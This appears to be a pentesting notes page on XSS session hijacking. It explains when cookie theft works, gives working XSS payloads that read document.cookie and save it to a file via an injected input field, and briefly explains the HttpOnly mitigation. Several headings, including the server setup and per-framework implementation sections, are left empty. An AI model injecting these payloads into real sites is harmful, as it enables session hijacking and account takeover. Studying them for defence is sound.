XSS SESSION HIJACKING (AKA COOKIE STEALING)

this is an attack where a malicious user obtains the cookie data from the victim's browser to gain logged-in access with the victim's user without knowing their credentials. this type of attack is possible due to browser's utilization of cookies to maintain a user's session throughout different browsing sessions. cookies enables the user to only log in once and keep their logged-in session alive even if they visit the same website at another time or date. IOF this attack to be successful, the following requirements must be met

  • Session cookies should be carried in all HTTP requests

  • Session cookies should be accessible by JavaScript code (the HTTPOnly attribute should be missing)

VIEWING COOKIES

root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>alert(document.cookie)</script>
 * user_id=xyz789; last_visit=2024-10-15T12:34:56Z

DOWNLOAD BROWSER COOKIES AS A FILE (BROWSER-BASED)

root@oco:~$ nano cookieScipt
  <script>
    const cookies = document.cookie;
    const blob = new Blob([cookies], { type: 'text/plain' });
    const link = document.createElement('a');
    link.href = URL.createObjectURL(blob);
    link.download = 'cookies.txt';
    link.click();
  </script>
root@oco:~$ BROWSER > https://www.toptal.com/developers/javascript-minifier
 * ALT: BROWSER > chatGPT.com > "minify the given code"
    - <script>const cookies=document.cookie,blob=new Blob([cookies],{type:"text/plain"}),link=document.createElement("a");link.href=URL.createObjectURL(blob),link.download="cookies.txt",link.click();</script>
root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>const cookies=document.cookie,blob=new Blob([cookies],{type:"text/plain"}),link=document.createElement("a");link.href=URL.createObjectURL(blob),link.download="cookies.txt",link.click();</script> 

SERVER SETUP

PERFORMING A BLIND XSS DISCOVERY

MITIGATION

HttpOnly is a flag that can be set on a cookie to indicate that the cookie should not be accessible via JavaScript. This helps protect the cookie from being stolen through cross-site scripting (XSS) attacks. When a cookie is set with the HttpOnly flag, it can only be sent and received via HTTP(S) requests (such as those made by the browser to the server). JavaScript running in the browser cannot read, modify, or delete that cookie using "document.cookie". This adds a layer of security to prevent malicious scripts from accessing sensitive data stored in cookies, like session IDs.

IMPLEMENTATION

the general syntax is:

NODE.JS (EXPRESS)

PHP

PHYTHON (FLASK)

JAVA (SPRING BOOT)

NGINX

ASP.NET

Last updated